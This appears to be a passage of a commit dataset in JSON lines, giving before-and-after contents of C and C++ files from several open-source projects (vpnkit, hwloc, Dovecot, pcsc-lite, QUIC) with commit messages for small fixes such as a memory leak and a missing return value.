{"commit":"bef527848955070cab42bcc1f42799656e8da0a6","old_file":"src\/hostnet\/stubs_utils.c","new_file":"src\/hostnet\/stubs_utils.c","old_contents":"#include <caml\/mlvalues.h>\n#include <caml\/memory.h>\n#include <caml\/custom.h>\n#include <caml\/callback.h>\n#include <caml\/alloc.h>\n\n#include <stdio.h>\n\n#ifdef WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#else\n#include <sys\/socket.h>\n#endif\n\nCAMLprim value stub_get_SOMAXCONN(){\n  fprintf(stderr, \"SOMAXCONN = %d\\n\", SOMAXCONN);\n  return (Val_int (SOMAXCONN));\n}\n","new_contents":"#include <caml\/mlvalues.h>\n#include <caml\/memory.h>\n#include <caml\/custom.h>\n#include <caml\/callback.h>\n#include <caml\/alloc.h>\n\n#include <stdio.h>\n\n#ifdef WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#else\n#include <sys\/socket.h>\n#endif\n\nCAMLprim value stub_get_SOMAXCONN(value unit){\n  fprintf(stderr, \"SOMAXCONN = %d\\n\", SOMAXCONN);\n  return (Val_int (SOMAXCONN));\n}\n","subject":"Add `value` parameter to SOMAXCONN binding","message":"Add `value` parameter to SOMAXCONN binding\n\nProblem spotted by yallop in\nhttps:\/\/github.com\/moby\/vpnkit\/commit\/8d718125a66fbe746ba17ad3e85b7924ac0ed9a4#commitcomment-21930309\n\nSigned-off-by: David Scott <63c9eb0ea83039690fefa11afe17873ba8278a56@docker.com>\n","lang":"C","license":"apache-2.0","repos":"djs55\/vpnkit,djs55\/vpnkit,djs55\/vpnkit"}
{"commit":"c03dcdf5e249ac87c917f3b57f2f532be7fa3aa1","old_file":"iOS\/AIBHTMLWebView.h","new_file":"iOS\/AIBHTMLWebView.h","old_contents":"\/\/\n\/\/  AIBHTMLWebView.h\n\/\/  AIBHTMLWebView\n\/\/\n\/\/  Created by Thomas Parslow on 05\/04\/2015.\n\/\/  Copyright (c) 2015 Thomas Parslow. MIT License.\n\/\/\n\n#import \"RCTView.h\"\n\n@class RCTEventDispatcher;\n\n@interface AIBHTMLWebView : RCTView\n\n@property (nonatomic, strong) NSString *HTML;\n\n- (instancetype)initWithEventDispatcher:(RCTEventDispatcher *)eventDispatcher NS_DESIGNATED_INITIALIZER;\n\n@end","new_contents":"\/\/\n\/\/  AIBHTMLWebView.h\n\/\/  AIBHTMLWebView\n\/\/\n\/\/  Created by Thomas Parslow on 05\/04\/2015.\n\/\/  Copyright (c) 2015 Thomas Parslow. MIT License.\n\/\/\n\n#import \"RCTView.h\"\n\n@class RCTEventDispatcher;\n\n@interface AIBHTMLWebView : RCTView\n\n@property (nonatomic, strong) NSString *HTML;\n\n- (instancetype)initWithFrame:(CGRect)frame NS_UNAVAILABLE;\n- (instancetype)initWithCoder:(NSCoder *)aDecoder NS_UNAVAILABLE;\n\n- (instancetype)initWithEventDispatcher:(RCTEventDispatcher *)eventDispatcher NS_DESIGNATED_INITIALIZER;\n\n@end","subject":"Remove designated initializer compiler warnings","message":"Remove designated initializer compiler warnings","lang":"C","license":"mit","repos":"almost\/react-native-html-webview"}
{"commit":"aa470966fb84e16c92c210236cc5348a3e4c7bb7","old_file":"Settings\/Controls\/Label.h","new_file":"Settings\/Controls\/Label.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"..\/..\/3RVX\/Logger.h\"\n\nclass Label : public Control {\npublic:\n    Label() {\n\n    }\n\n    Label(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual bool Text(std::wstring text) {\n        bool result = Control::Text(text);\n        if (result == false) {\n            return false;\n        }\n\n\n        \/* Determine the width of the text *\/\n        HDC dc = GetDC(_hWnd);\n        SIZE sz = { 0 };\n        GetTextExtentPoint32(dc, &text[0], text.size(), &sz);\n\n        \/* Update the window size based on the text size *\/\n        RECT r = Control::ScreenDimensions();\n        POINT pt = { r.left, r.top };\n        ScreenToClient(_parent, &pt);\n        MoveWindow(_hWnd, pt.x, pt.y, sz.cx, sz.cy, TRUE);\n        return true;\n    }\n};","new_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"..\/..\/3RVX\/Logger.h\"\n\nclass Label : public Control {\npublic:\n    Label() {\n\n    }\n\n    Label(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual bool Text(std::wstring text) {\n        bool result = Control::Text(text);\n        if (result == false) {\n            return false;\n        }\n\n        Width(TextDimensions().cx);\n\n\n\/\/        \/* Determine the width of the text *\/\n\/\/        HDC dc = GetDC(_hWnd);\n\/\/        SIZE sz = { 0 };\n\/\/        GetTextExtentPoint32(dc, &text[0], text.size(), &sz);\n\n\/\/        \/* Update the window size based on the text size *\/\n\/\/        RECT r = Control::ScreenDimensions();\n\/\/        POINT pt = { r.left, r.top };\n\/\/        ScreenToClient(_parent, &pt);\n\/\/        MoveWindow(_hWnd, pt.x, pt.y, sz.cx, sz.cy, TRUE);\n        return true;\n    }\n};","subject":"Test the new width functionality","message":"Test the new width functionality\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"b4948876ed0bd3cec6a9ac6e74fa9d1b266b6c37","old_file":"ccnd\/include\/ccn\/keystore.h","new_file":"ccnd\/include\/ccn\/keystore.h","old_contents":"\/*\n * ccn\/keystore.h\n *\n * KEYSTORE interface\n *\n * This is a veneer so that the ccn code can avoid exposure to the\n * underlying keystore implementation types\n *\/\n#ifndef CCN_KEYSTORE_DEFINED\n#define CCN_KEYSTORE_DEFINED\n\n#include <stddef.h>\n\nstruct ccn_keystore;\n\nstruct ccn_keystore *ccn_keystore_create();\nvoid ccn_keystore_destroy(struct ccn_keystore **p);\nint ccn_keystore_init(struct ccn_keystore *p, char *name, char *password);\nconst void *ccn_keystore_private_key(struct ccn_keystore *p);\nconst void *ccn_keystore_public_key(struct ccn_keystore *p);\nconst void *ccn_keystore_certificate(struct ccn_keystore *p);\n\n#endif\n","new_contents":"\/*\n * ccn\/keystore.h\n *\n * KEYSTORE interface\n *\n * This is a veneer so that the ccn code can avoid exposure to the\n * underlying keystore implementation types\n *\/\n#ifndef CCN_KEYSTORE_DEFINED\n#define CCN_KEYSTORE_DEFINED\n\n#include <stddef.h>\n\nstruct ccn_keystore;\n\nstruct ccn_keystore *ccn_keystore_create(void);\nvoid ccn_keystore_destroy(struct ccn_keystore **p);\nint ccn_keystore_init(struct ccn_keystore *p, char *name, char *password);\nconst void *ccn_keystore_private_key(struct ccn_keystore *p);\nconst void *ccn_keystore_public_key(struct ccn_keystore *p);\nconst void *ccn_keystore_certificate(struct ccn_keystore *p);\n\n#endif\n","subject":"Fix missing void in parameterless call prototype","message":"Fix missing void in parameterless call prototype\n\n","lang":"C","license":"lgpl-2.1","repos":"svartika\/ccnx,svartika\/ccnx,ebollens\/ccnmp,svartika\/ccnx,cawka\/ndnx,svartika\/ccnx,ebollens\/ccnmp,cawka\/ndnx,svartika\/ccnx,ebollens\/ccnmp,cawka\/ndnx,cawka\/ndnx,svartika\/ccnx,cawka\/ndnx,svartika\/ccnx,ebollens\/ccnmp"}
{"commit":"d0817bdc0e8416ce62f49dcd63191aac870cc3e0","old_file":"src\/sota_tools\/ostree_hash.h","new_file":"src\/sota_tools\/ostree_hash.h","old_contents":"#ifndef SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n#define SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n\n#include <cstdint>\n#include <cstring>  \/\/ memcmp, memcpy\n\n#include <iostream>\n#include <string>\n\nclass OSTreeHash {\n public:\n  \/**\n   * Parse an OSTree hash from a string. This will normally be a root commit.\n   * @throws OSTreeCommitParseError on invalid input\n   * TODO test cases\n   *\/\n  static OSTreeHash Parse(const std::string& hash);\n\n  explicit OSTreeHash(const uint8_t[32]);\n\n  std::string string() const;\n\n  bool operator<(const OSTreeHash& other) const;\n  friend std::ostream& operator<<(std::ostream& os, const OSTreeHash& hash);\n\n private:\n  uint8_t hash_[32];\n};\n\nclass OSTreeCommitParseError : std::exception {\n public:\n  OSTreeCommitParseError(const std::string bad_hash) : bad_hash_(bad_hash) {}\n\n  virtual const char* what() const noexcept { return \"Could not parse OSTree commit\"; }\n\n  std::string bad_hash() const { return bad_hash_; }\n\n private:\n  std::string bad_hash_;\n};\n\n#endif  \/\/ SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n","new_contents":"#ifndef SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n#define SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n\n#include <cstdint>\n#include <cstring>  \/\/ memcmp, memcpy\n\n#include <iostream>\n#include <string>\n\nclass OSTreeHash {\n public:\n  \/**\n   * Parse an OSTree hash from a string. This will normally be a root commit.\n   * @throws OSTreeCommitParseError on invalid input\n   *\/\n  static OSTreeHash Parse(const std::string& hash);\n\n  explicit OSTreeHash(const uint8_t[32]);\n\n  std::string string() const;\n\n  bool operator<(const OSTreeHash& other) const;\n  friend std::ostream& operator<<(std::ostream& os, const OSTreeHash& hash);\n\n private:\n  uint8_t hash_[32];\n};\n\nclass OSTreeCommitParseError : std::exception {\n public:\n  OSTreeCommitParseError(const std::string bad_hash) : bad_hash_(bad_hash) {}\n\n  virtual const char* what() const noexcept { return \"Could not parse OSTree commit\"; }\n\n  std::string bad_hash() const { return bad_hash_; }\n\n private:\n  std::string bad_hash_;\n};\n\n#endif  \/\/ SOTA_CLIENT_TOOLS_OSTREE_HASH_H_\n","subject":"Remove TODO test comment about OSTreeHash::Parse","message":"Remove TODO test comment about OSTreeHash::Parse\n\nPRO-4592\n","lang":"C","license":"mpl-2.0","repos":"advancedtelematic\/sota_client_cpp,advancedtelematic\/aktualizr,advancedtelematic\/aktualizr,advancedtelematic\/aktualizr,advancedtelematic\/aktualizr,advancedtelematic\/sota_client_cpp"}
{"commit":"d5b46a21c209a5f05b5bc96b06fa205d9e333ec5","old_file":"tests\/hwloc_insert_misc.c","new_file":"tests\/hwloc_insert_misc.c","old_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA\n * Copyright © 2009-2010 Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n#include <hwloc.h>\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\nint main(void)\n{\n  hwloc_topology_t topology;\n  hwloc_bitmap_t cpuset;\n  hwloc_obj_t obj;\n\n  hwloc_topology_init(&topology);\n  hwloc_topology_load(topology);\n  hwloc_topology_check(topology);\n  cpuset = hwloc_bitmap_alloc();\n  hwloc_bitmap_set(cpuset, 0);\n  obj = hwloc_topology_insert_misc_object_by_cpuset(topology, cpuset, \"test\");\n  hwloc_topology_insert_misc_object_by_parent(topology, obj, \"test2\");\n  hwloc_topology_check(topology);\n  hwloc_topology_destroy(topology);\n\n  return 0;\n}\n","new_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA\n * Copyright © 2009-2010 Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n#include <hwloc.h>\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\nint main(void)\n{\n  hwloc_topology_t topology;\n  hwloc_bitmap_t cpuset;\n  hwloc_obj_t obj;\n\n  hwloc_topology_init(&topology);\n  hwloc_topology_load(topology);\n  hwloc_topology_check(topology);\n  cpuset = hwloc_bitmap_alloc();\n  hwloc_bitmap_set(cpuset, 0);\n  obj = hwloc_topology_insert_misc_object_by_cpuset(topology, cpuset, \"test\");\n  hwloc_bitmap_free(cpuset);\n  hwloc_topology_insert_misc_object_by_parent(topology, obj, \"test2\");\n  hwloc_topology_check(topology);\n  hwloc_topology_destroy(topology);\n\n  return 0;\n}\n","subject":"Fix a memory leak in tests","message":"Fix a memory leak in tests\n\nThis commit was SVN r2903.\n","lang":"C","license":"bsd-3-clause","repos":"ggouaillardet\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc"}
{"commit":"a888bc12a58e8fc2abf53e97c2ff838e68fbe955","old_file":"cman\/qdisk\/gettid.c","new_file":"cman\/qdisk\/gettid.c","old_contents":"#include <sys\/types.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n#include <errno.h>\n\n\/* Patch from Adam Conrad \/ Ubuntu: Don't use _syscall macro *\/\n\n#ifdef __NR_gettid\npid_t gettid (void)\n{\n\treturn syscall(__NR_gettid);\n}\n#else\n\n#warn \"gettid not available -- substituting with pthread_self()\"\n\n#include <pthread.h>\npid_t gettid (void)\n{\n\treturn (pid_t)pthread_self();\n}\n#endif\n","new_contents":"#include <sys\/types.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n#include <unistd.h>\n#include <errno.h>\n\n\/* Patch from Adam Conrad \/ Ubuntu: Don't use _syscall macro *\/\n\n#ifdef __NR_gettid\npid_t gettid (void)\n{\n\treturn syscall(__NR_gettid);\n}\n#else\n\n#warn \"gettid not available -- substituting with pthread_self()\"\n\n#include <pthread.h>\npid_t gettid (void)\n{\n\treturn (pid_t)pthread_self();\n}\n#endif\n","subject":"Add include so we get a prototype for syscall()","message":"Add include so we get a prototype for syscall()\n","lang":"C","license":"lgpl-2.1","repos":"stevenraspudic\/resource-agents,asp24\/resource-agents,stevenraspudic\/resource-agents,asp24\/resource-agents,asp24\/resource-agents,stevenraspudic\/resource-agents"}
{"commit":"0cf104dc47a64079e522b9b3025a8371c09402e4","old_file":"src\/python\/helpers\/python_convert_any.h","new_file":"src\/python\/helpers\/python_convert_any.h","old_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_CONVERT_ANY_H\n#define VISTK_PYTHON_HELPERS_PYTHON_CONVERT_ANY_H\n\n#include <boost\/any.hpp>\n\n#include <Python.h>\n\n\/**\n * \\file python_convert_any.h\n *\n * \\brief Helpers for working with boost::any in Python.\n *\/\n\nnamespace boost\n{\n\nnamespace python\n{\n\nnamespace converter\n{\n\nstruct rvalue_from_python_stage1_data;\n\n}\n\n}\n\n}\n\nstruct boost_any_to_object\n{\n  boost_any_to_object();\n  ~boost_any_to_object();\n\n  static void* convertible(PyObject* obj);\n  static PyObject* convert(boost::any const& any);\n  static void construct(PyObject* obj, boost::python::converter::rvalue_from_python_stage1_data* data);\n};\n\n#endif \/\/ VISTK_PYTHON_PIPELINE_PYTHON_CONVERT_ANY_H\n","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_CONVERT_ANY_H\n#define VISTK_PYTHON_HELPERS_PYTHON_CONVERT_ANY_H\n\n#include <boost\/any.hpp>\n\n#include <Python.h>\n\n\/**\n * \\file python_convert_any.h\n *\n * \\brief Helpers for working with boost::any in Python.\n *\/\n\nnamespace boost\n{\n\nnamespace python\n{\n\nnamespace converter\n{\n\nstruct rvalue_from_python_stage1_data;\n\n}\n\n}\n\n}\n\nclass boost_any_to_object\n{\n  public:\n    boost_any_to_object();\n    ~boost_any_to_object();\n\n    static void* convertible(PyObject* obj);\n    static PyObject* convert(boost::any const& any);\n    static void construct(PyObject* obj, boost::python::converter::rvalue_from_python_stage1_data* data);\n};\n\n#endif \/\/ VISTK_PYTHON_PIPELINE_PYTHON_CONVERT_ANY_H\n","subject":"Use a class instead of a struct","message":"Use a class instead of a struct\n","lang":"C","license":"bsd-3-clause","repos":"mathstuf\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit"}
{"commit":"53b94d9190d66c1fbf910fd65d9d3a4dfef3a238","old_file":"shims\/graphics.h","new_file":"shims\/graphics.h","old_contents":"\/* BLACK color, which I presume was defined in graphics.h *\/\n#define BLACK 0\n","new_contents":"\/* BLACK color, which I presume was defined in the original graphics.h *\/\n#define BLACK 0\n\n\/*\n  All my original cpp files create constant ints named true and\n  false. This worked with the Borland C++ compiler, but not gcc.\n  I'll redefine them with a preprocessor macro to be a non-reserved\n  name, but first I need to include all the system libraries because\n  they may refer to the actual true\/false variables.\n*\/\n#include <alloc.h>\n#include <assert.h>\n#include <conio.h>\n#include <ctype.h>\n#include <dos.h>\n#include <fstream.h>\n#include <stdlib.h>\n#include <time.h>\n\n\/* Now redefine true\/false with non-reserved names *\/\n#define true  local_true\n#define false local_false\n","subject":"Handle reserved true\/false variable names","message":"Handle reserved true\/false variable names\n","lang":"C","license":"mit","repos":"sortelli\/tankbeta,sortelli\/tankbeta,sortelli\/tankbeta,sortelli\/tankbeta"}
{"commit":"4f76d799edab526b1de4ac24b61c909336b86bb9","old_file":"gba\/devkitarm\/source\/main.c","new_file":"gba\/devkitarm\/source\/main.c","old_contents":"\/\/ GBT Player v3.0.9\n\/\/\n\/\/ SPDX-License-Identifier: MIT\n\/\/\n\/\/ Copyright (c) 2022, Antonio Niño Díaz <antonio_nd@outlook.com>\n\n#include <gba.h>\n\n#include <stdio.h>\n\n#include \"gbt_player.h\"\n\nextern const uint8_t *template_data[];\n\nint main(int argc, char *argv[])\n{\n    irqInit();\n    irqEnable(IRQ_VBLANK);\n\n    consoleDemoInit();\n\n    iprintf(\"GBT Player v3.0.9\");\n\n    gbt_play(template_data, 5);\n\n    while (1)\n    {\n        VBlankIntrWait();\n        gbt_update();\n    }\n}\n","new_contents":"\/\/ GBT Player v3.0.9\n\/\/\n\/\/ SPDX-License-Identifier: MIT\n\/\/\n\/\/ Copyright (c) 2022, Antonio Niño Díaz <antonio_nd@outlook.com>\n\n#include <gba.h>\n\n#include \"gbt_player.h\"\n\nextern const uint8_t *template_data[];\n\nint main(int argc, char *argv[])\n{\n    irqInit();\n    irqEnable(IRQ_VBLANK);\n\n    gbt_play(template_data, 5);\n\n    while (1)\n    {\n        VBlankIntrWait();\n        gbt_update();\n    }\n}\n","subject":"Stop using console in demo ROM","message":"gba: Stop using console in demo ROM\n\nThis makes it easier to analyse the elf map file to look for changes\nafter modifications to GBT Player.\n","lang":"C","license":"mit","repos":"AntonioND\/gbt-player,AntonioND\/gbt-player,AntonioND\/gbt-player"}
{"commit":"b8b83dbd95aa051017ef442b311e3867cf71bf77","old_file":"src\/ifdwrapper.h","new_file":"src\/ifdwrapper.h","old_contents":"\/*\n * This wraps the dynamic ifdhandler functions. The abstraction will\n * eventually allow multiple card slots in the same terminal.\n *\n * MUSCLE SmartCard Development ( http:\/\/www.linuxnet.com )\n *\n * Copyright (C) 1999\n *  David Corcoran <corcoran@linuxnet.com>\n *\n * $Id$\n *\/\n\n#ifndef __ifdwrapper_h__\n#define __ifdwrapper_h__\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n\tLONG IFDOpenIFD(PREADER_CONTEXT, DWORD);\n\tLONG IFDCloseIFD(PREADER_CONTEXT);\n\tLONG IFDPowerICC(PREADER_CONTEXT, DWORD, PUCHAR, PDWORD);\n\tLONG IFDStatusICC(PREADER_CONTEXT, PDWORD, PDWORD, PUCHAR, PDWORD);\n\tLONG IFDControl(PREADER_CONTEXT, PUCHAR, DWORD, PUCHAR, PDWORD);\n\tLONG IFDTransmit(PREADER_CONTEXT, SCARD_IO_HEADER,\n\t\tPUCHAR, DWORD, PUCHAR, PDWORD, PSCARD_IO_HEADER);\n\tLONG IFDSetPTS(PREADER_CONTEXT, DWORD, UCHAR, UCHAR, UCHAR, UCHAR);\n\tLONG IFDSetCapabilities(PREADER_CONTEXT, DWORD, DWORD, PUCHAR);\n\tLONG IFDGetCapabilities(PREADER_CONTEXT, DWORD, PDWORD, PUCHAR);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\t\t\t\t\t\t\t\/* __ifdwrapper_h__ *\/\n","new_contents":"\/*\n * This wraps the dynamic ifdhandler functions. The abstraction will\n * eventually allow multiple card slots in the same terminal.\n *\n * MUSCLE SmartCard Development ( http:\/\/www.linuxnet.com )\n *\n * Copyright (C) 1999\n *  David Corcoran <corcoran@linuxnet.com>\n *\n * $Id$\n *\/\n\n#ifndef __ifdwrapper_h__\n#define __ifdwrapper_h__\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n\tLONG IFDOpenIFD(PREADER_CONTEXT);\n\tLONG IFDCloseIFD(PREADER_CONTEXT);\n\tLONG IFDPowerICC(PREADER_CONTEXT, DWORD, PUCHAR, PDWORD);\n\tLONG IFDStatusICC(PREADER_CONTEXT, PDWORD, PDWORD, PUCHAR, PDWORD);\n\tLONG IFDControl(PREADER_CONTEXT, PUCHAR, DWORD, PUCHAR, PDWORD);\n\tLONG IFDTransmit(PREADER_CONTEXT, SCARD_IO_HEADER,\n\t\tPUCHAR, DWORD, PUCHAR, PDWORD, PSCARD_IO_HEADER);\n\tLONG IFDSetPTS(PREADER_CONTEXT, DWORD, UCHAR, UCHAR, UCHAR, UCHAR);\n\tLONG IFDSetCapabilities(PREADER_CONTEXT, DWORD, DWORD, PUCHAR);\n\tLONG IFDGetCapabilities(PREADER_CONTEXT, DWORD, PDWORD, PUCHAR);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\t\t\t\t\t\t\t\/* __ifdwrapper_h__ *\/\n","subject":"Modify the prototype of IFDOpenIFD.","message":"Modify the prototype of IFDOpenIFD.\n\n\ngit-svn-id: f2d781e409b7e36a714fc884bb9b2fc5091ddd28@603 0ce88b0d-b2fd-0310-8134-9614164e65ea\n","lang":"C","license":"bsd-3-clause","repos":"vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android"}
{"commit":"87004dbc4eab7de47be325ac4211d2ce0c43e938","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"e2aa329f967e3ceb9e789dbc8cf636d5fb373a3b","old_file":"src\/cpu\/cpu.c","new_file":"src\/cpu\/cpu.c","old_contents":"#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <sched.h>\n#include <errno.h>\n#include <stdint.h>\n#include <sys\/resource.h>\n\n#include \"cpu.h\"\n#include \"..\/util\/taskstats.h\"\n#include \"..\/util\/file_utils.h\"\n\n\nint current_cpus(int pid)\n{\n    cpu_set_t proc_cpus;\n    size_t mask_size = sizeof proc_cpus;\n\n    int ret = sched_getaffinity(pid, mask_size, &proc_cpus);\n\n    if (ret == -1)\n        return errno;\n\n    int cpu_affinity = CPU_COUNT(&proc_cpus);\n\n    return cpu_affinity;\n}\n\nint nice(int pid)\n{\n    return getpriority(PRIO_PROCESS, pid);\n}\n\nuint64_t get_process_ctxt_switches(int pid)\n{\n    return task_req(pid, 's');\n}\n","new_contents":"#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <sched.h>\n#include <errno.h>\n#include <stdint.h>\n#include <sys\/resource.h>\n\n#include \"cpu.h\"\n#include \"..\/util\/taskstats.h\"\n#include \"..\/util\/file_utils.h\"\n\n\nint current_cpus(int pid)\n{\n    cpu_set_t proc_cpus;\n    size_t mask_size = sizeof proc_cpus;\n\n    int ret = sched_getaffinity(pid, mask_size, &proc_cpus);\n\n    if (ret == -1)\n        return errno;\n\n    int cpu_affinity = CPU_COUNT(&proc_cpus);\n\n    return cpu_affinity;\n}\n\nint nice(int pid)\n{\n    return getpriority(PRIO_PROCESS, pid);\n}\n\nuint64_t get_process_ctxt_switches(int pid)\n{\n    return task_req(pid, 's');\n}\n\nchar *get_user_ps_ctxt_switches(char *pid)\n{\n    char path[MAXPATH];\n    snprintf(path, MAXPATH, STATUS, pid);\n\n    return parse_proc(path, SWITCHES);\n}\n","subject":"Use parse_proc for context switches if lower perms","message":"Use parse_proc for context switches if lower perms\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"0e9372ac7a77505d62deb9a09c700b67b083b09a","old_file":"include\/SafeQueue.h","new_file":"include\/SafeQueue.h","old_contents":"#pragma once\n\n#include <mutex>\n#include <queue>\n\n\/\/ Thread safe implementation of a Queue using a std::queue\ntemplate <typename T>\nclass SafeQueue {\nprivate:\n  std::queue<T> m_queue;\n  std::mutex m_mutex;\npublic:\n  SafeQueue() {\n\n  }\n\n  SafeQueue(SafeQueue& other) {\n    \/\/TODO:\n  }\n\n  ~SafeQueue() {\n\n  }\n\n\n  bool empty() {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    return m_queue.empty();\n  }\n  \n  int size() {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    return m_queue.size();\n  }\n\n  void enqueue(T& t) {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    m_queue.push(t);\n  }\n  \n  bool dequeue(T& t) {\n    std::unique_lock<std::mutex> lock(m_mutex);\n\n    if (m_queue.empty()) {\n      return false;\n    }\n    t = std::move(m_queue.front());\n    \n    m_queue.pop();\n  }\n};","new_contents":"#pragma once\n\n#include <mutex>\n#include <queue>\n\n\/\/ Thread safe implementation of a Queue using a std::queue\ntemplate <typename T>\nclass SafeQueue {\nprivate:\n  std::queue<T> m_queue;\n  std::mutex m_mutex;\npublic:\n  SafeQueue() {\n\n  }\n\n  SafeQueue(SafeQueue& other) {\n    \/\/TODO:\n  }\n\n  ~SafeQueue() {\n\n  }\n\n\n  bool empty() {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    return m_queue.empty();\n  }\n  \n  int size() {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    return m_queue.size();\n  }\n\n  void enqueue(T& t) {\n    std::unique_lock<std::mutex> lock(m_mutex);\n    m_queue.push(t);\n  }\n  \n  bool dequeue(T& t) {\n    std::unique_lock<std::mutex> lock(m_mutex);\n\n    if (m_queue.empty()) {\n      return false;\n    }\n    t = std::move(m_queue.front());\n    \n    m_queue.pop();\n    return true;\n  }\n};","subject":"Fix bug in dequeue that caused to return always false","message":"Fix bug in dequeue that caused to return always false\n","lang":"C","license":"mit","repos":"mtrebi\/thread-pool"}
{"commit":"83760d3323bb88e46761382cb17f0ea3e62ebc63","old_file":"quic\/core\/crypto\/server_proof_verifier.h","new_file":"quic\/core\/crypto\/server_proof_verifier.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2020 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_CORE_CRYPTO_SERVER_PROOF_VERIFIER_H_\n#define QUICHE_QUIC_CORE_CRYPTO_SERVER_PROOF_VERIFIER_H_\n\n#include <memory>\n#include <string>\n#include <vector>\n\n#include \"net\/third_party\/quiche\/src\/quic\/core\/crypto\/proof_verifier.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_types.h\"\n\nnamespace quic {\n\n\/\/ A ServerProofVerifier checks the certificate chain presented by a client.\nclass QUIC_EXPORT_PRIVATE ServerProofVerifier {\n public:\n  virtual ~ServerProofVerifier() {}\n\n  \/\/ VerifyCertChain checks that |certs| 